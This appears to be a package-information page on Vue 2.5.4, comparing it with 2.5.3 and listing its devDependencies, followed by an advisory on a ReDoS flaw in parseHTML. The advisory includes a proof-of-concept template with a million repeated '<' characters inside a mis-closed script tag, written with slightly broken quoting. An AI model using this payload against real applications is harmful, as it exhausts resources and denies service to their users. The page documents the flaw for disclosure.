Vue 2.5.4 represents a minor version update to the popular JavaScript framework, building upon the solid foundation of Vue 2.5.3. Both versions share the same core philosophy: offering a reactive, component-oriented view layer ideal for modern web interfaces. Examining their metadata, the primary difference lies in the release date and potentially some internal bug fixes or performance improvements included in the newer version. Specifically, Vue 2.5.4 was released mid-November 2017, roughly two weeks after Vue 2.5.3.
For developers, this update, while seemingly small, can be significant. Updating from 2.5.3 to 2.5.4 ensures you're utilizing the most stable and refined version of the 2.5 series. Typically, minor releases like this address reported issues and optimize performance without introducing breaking changes, making the transition seamless. Both versions come packed with a comprehensive set of development dependencies aimed at facilitating a robust development workflow, including tools for linting (eslint), testing (karma, jasmine, nightwatch), bundling (webpack, rollup), and type checking (flow-bin, typescript). The inclusion of dependencies like "babel-plugin-transform-vue-jsx" and "babel-helper-vue-jsx-merge-props" indicates that Vue supports JSX syntax, providing developers flexibility in how they build components. Furthermore, the long list of devDependencies showcases the robust testing and build environment used to ensure Vue's quality and reliability. Developers should always consult the official Vue changelog for a detailed list of changes and bug fixes in version 2.5.4.
All the vulnerabilities related to the version 2.5.4 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.